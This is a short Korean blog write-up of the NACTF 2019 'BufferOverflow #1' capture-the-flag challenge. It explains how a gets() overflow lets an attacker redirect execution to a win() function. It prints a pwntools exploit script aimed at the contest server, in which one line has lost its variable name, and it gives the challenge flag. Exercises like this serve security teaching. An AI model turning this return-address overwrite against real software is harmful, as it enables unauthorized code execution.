SDJ( 수돈재 아님 ㅎ )

NACTF 2019 - BufferOverflow #1 본문

write-up/pwnable

NACTF 2019 - BufferOverflow #1

ShinDongJun 2019. 9. 23. 10:56

32bit 바이너리에 Partial RELRO만 걸려있다

 

flag를 읽어주는 win()함수가 있다.

 

 

 

vuln()함수에서 gets(&s);에서 BOF가 발생하므로 

역시 ret를 win()함수의 주소로 덮어주면 된다.

 

 

 

exploit code

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
 
#p = process('./bufover-1')
= remote("shell.2019.nactf.com",31462)
 
win = 0x080491B2
 
pay = ''
pay += 'a'*0x18
pay += p32(0)
pay += p32(win)
p.sendlineafter(">", pay)
 
p.interactive()

 

BufferOverflow #0과 똑같은 문제인 듯 하다.

 

flag: nactf{pwn_31p_0n_r3t_iNylg281}

'write-up > pwnable' 카테고리의 다른 글

NACTF 2019 - Format #0  (0) 2019.09.23
NACTF 2019 - BufferOverflow #2  (0) 2019.09.23
NACTF 2019 - BufferOverflow #0  (0) 2019.09.23
HSCTF 2019 - Storytime  (0) 2019.09.16
HSCTF 2019 - Combo Chain  (0) 2019.09.16
Comments